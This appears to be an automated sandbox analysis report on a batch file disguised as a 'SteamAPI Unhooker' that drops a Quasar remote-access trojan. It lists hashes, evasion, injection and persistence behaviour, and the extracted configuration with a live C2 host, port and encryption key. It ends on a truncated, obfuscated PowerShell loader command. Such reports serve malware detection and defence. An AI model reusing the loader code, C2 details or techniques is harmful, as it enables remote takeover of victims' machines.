Analysis
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max time kernel
300s -
max time network
256s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
28-05-2024 13:52
Static task
static1
Behavioral task
behavioral1
Sample
SteamAPI Unhooker.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
SteamAPI Unhooker.bat
Resource
win10v2004-20240426-en
General
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Target
SteamAPI Unhooker.bat
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Size
1002KB
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MD5
f6d5bfaee8a55ff72c7b453fda066d62
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SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f
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SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
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SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
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SSDEEP
12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB
Malware Config
Extracted
quasar
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reconnect_delay
3000
Extracted
quasar
3.1.5
Video
runderscore00-25501.portmap.host:25501
$Sxr-oWTh3ZS9htfe80iIl5
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encryption_key
zK8u0rpHf4TJzGf65Flt
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install_name
Win11.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
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startup_key
Windows 11 Boot
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subdirectory
Win11
Signatures
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Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/4628-34-0x0000000009B20000-0x0000000009C12000-memory.dmp family_quasar behavioral1/memory/4616-204-0x000000000AC60000-0x000000000ACCC000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\New.exe family_quasar behavioral1/memory/4264-222-0x0000000000520000-0x000000000058C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 4072 created 580 4072 powershell.EXE winlogon.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 4 4616 powershell.exe 6 4616 powershell.exe 23 4616 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 4628 powershell.exe 4884 powershell.exe 4616 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
New.exeInstall.exepid process 4264 New.exe 4444 Install.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 15 IoCs
Processes:
svchost.exepowershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 4072 set thread context of 1056 4072 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 57 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 May 2024 13:54:19 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={68B30AEA-E7BA-4E60-8A91-D01B9BF16C6E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716904458" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings powershell.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepid process 4628 powershell.exe 4628 powershell.exe 4628 powershell.exe 4884 powershell.exe 4884 powershell.exe 4884 powershell.exe 4616 powershell.exe 4616 powershell.exe 4616 powershell.exe 4072 powershell.EXE 4072 powershell.EXE 4072 powershell.EXE 4072 powershell.EXE 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 4616 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4628 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeIncreaseQuotaPrivilege 4884 powershell.exe Token: SeSecurityPrivilege 4884 powershell.exe Token: SeTakeOwnershipPrivilege 4884 powershell.exe Token: SeLoadDriverPrivilege 4884 powershell.exe Token: SeSystemProfilePrivilege 4884 powershell.exe Token: SeSystemtimePrivilege 4884 powershell.exe Token: SeProfSingleProcessPrivilege 4884 powershell.exe Token: SeIncBasePriorityPrivilege 4884 powershell.exe Token: SeCreatePagefilePrivilege 4884 powershell.exe Token: SeBackupPrivilege 4884 powershell.exe Token: SeRestorePrivilege 4884 powershell.exe Token: SeShutdownPrivilege 4884 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeSystemEnvironmentPrivilege 4884 powershell.exe Token: SeRemoteShutdownPrivilege 4884 powershell.exe Token: SeUndockPrivilege 4884 powershell.exe Token: SeManageVolumePrivilege 4884 powershell.exe Token: 33 4884 powershell.exe Token: 34 4884 powershell.exe Token: 35 4884 powershell.exe Token: 36 4884 powershell.exe Token: SeIncreaseQuotaPrivilege 4884 powershell.exe Token: SeSecurityPrivilege 4884 powershell.exe Token: SeTakeOwnershipPrivilege 4884 powershell.exe Token: SeLoadDriverPrivilege 4884 powershell.exe Token: SeSystemProfilePrivilege 4884 powershell.exe Token: SeSystemtimePrivilege 4884 powershell.exe Token: SeProfSingleProcessPrivilege 4884 powershell.exe Token: SeIncBasePriorityPrivilege 4884 powershell.exe Token: SeCreatePagefilePrivilege 4884 powershell.exe Token: SeBackupPrivilege 4884 powershell.exe Token: SeRestorePrivilege 4884 powershell.exe Token: SeShutdownPrivilege 4884 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeSystemEnvironmentPrivilege 4884 powershell.exe Token: SeRemoteShutdownPrivilege 4884 powershell.exe Token: SeUndockPrivilege 4884 powershell.exe Token: SeManageVolumePrivilege 4884 powershell.exe Token: 33 4884 powershell.exe Token: 34 4884 powershell.exe Token: 35 4884 powershell.exe Token: 36 4884 powershell.exe Token: SeIncreaseQuotaPrivilege 4884 powershell.exe Token: SeSecurityPrivilege 4884 powershell.exe Token: SeTakeOwnershipPrivilege 4884 powershell.exe Token: SeLoadDriverPrivilege 4884 powershell.exe Token: SeSystemProfilePrivilege 4884 powershell.exe Token: SeSystemtimePrivilege 4884 powershell.exe Token: SeProfSingleProcessPrivilege 4884 powershell.exe Token: SeIncBasePriorityPrivilege 4884 powershell.exe Token: SeCreatePagefilePrivilege 4884 powershell.exe Token: SeBackupPrivilege 4884 powershell.exe Token: SeRestorePrivilege 4884 powershell.exe Token: SeShutdownPrivilege 4884 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeSystemEnvironmentPrivilege 4884 powershell.exe Token: SeRemoteShutdownPrivilege 4884 powershell.exe Token: SeUndockPrivilege 4884 powershell.exe Token: SeManageVolumePrivilege 4884 powershell.exe Token: 33 4884 powershell.exe Token: 34 4884 powershell.exe Token: 35 4884 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 4616 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exedescription pid process target process PID 4904 wrote to memory of 4628 4904 cmd.exe powershell.exe PID 4904 wrote to memory of 4628 4904 cmd.exe powershell.exe PID 4904 wrote to memory of 4628 4904 cmd.exe powershell.exe PID 4628 wrote to memory of 4884 4628 powershell.exe powershell.exe PID 4628 wrote to memory of 4884 4628 powershell.exe powershell.exe PID 4628 wrote to memory of 4884 4628 powershell.exe powershell.exe PID 4628 wrote to memory of 4564 4628 powershell.exe WScript.exe PID 4628 wrote to memory of 4564 4628 powershell.exe WScript.exe PID 4628 wrote to memory of 4564 4628 powershell.exe WScript.exe PID 4564 wrote to memory of 3780 4564 WScript.exe cmd.exe PID 4564 wrote to memory of 3780 4564 WScript.exe cmd.exe PID 4564 wrote to memory of 3780 4564 WScript.exe cmd.exe PID 3780 wrote to memory of 4616 3780 cmd.exe powershell.exe PID 3780 wrote to memory of 4616 3780 cmd.exe powershell.exe PID 3780 wrote to memory of 4616 3780 cmd.exe powershell.exe PID 4616 wrote to memory of 4264 4616 powershell.exe New.exe PID 4616 wrote to memory of 4264 4616 powershell.exe New.exe PID 4616 wrote to memory of 4264 4616 powershell.exe New.exe PID 4616 wrote to memory of 4444 4616 powershell.exe Install.exe PID 4616 wrote to memory of 4444 4616 powershell.exe Install.exe PID 4616 wrote to memory of 4444 4616 powershell.exe Install.exe PID 4264 wrote to memory of 4528 4264 New.exe SCHTASKS.exe PID 4264 wrote to memory of 4528 4264 New.exe SCHTASKS.exe PID 4264 wrote to memory of 4528 4264 New.exe SCHTASKS.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 4072 wrote to memory of 1056 4072 powershell.EXE dllhost.exe PID 1056 wrote to memory of 580 1056 dllhost.exe winlogon.exe PID 1056 wrote to memory of 636 1056 dllhost.exe lsass.exe PID 1056 wrote to memory of 744 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 908 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1008 1056 dllhost.exe dwm.exe PID 1056 wrote to memory of 304 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 488 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 692 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1068 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1088 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1132 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1140 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1208 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1292 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1324 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1388 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1396 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1496 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1548 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1556 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1604 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1620 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1732 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1796 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1836 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1900 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1992 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 1308 1056 dllhost.exe spoolsv.exe PID 1056 wrote to memory of 2080 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 2256 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 2272 1056 dllhost.exe svchost.exe PID 1056 wrote to memory of 2288 1056 dllhost.exe svchost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:580
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1008
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{05d7a111-fc70-4e5f-bc1d-5268db5a4670}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1056
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:636
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:744
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:908
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:304
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:488
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:692
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1068
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1088
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GltjFXMlvWca{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oQWvtwOPduIOuT,[Parameter(Position=1)][Type]$aKAsteImeH)$NyuJkJekwgb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'le'+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','Cl'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'An'+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+[Char](116)+'oCl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NyuJkJekwgb.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+'N'+'a'+[Char](109)+''+'e'+',H'+'i'+''+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$oQWvtwOPduIOuT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$NyuJkJekwgb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$aKAsteImeH,$oQWvtwOPduIOuT).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $NyuJkJekwgb.CreateType();}$LfhTNAavYhWOb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 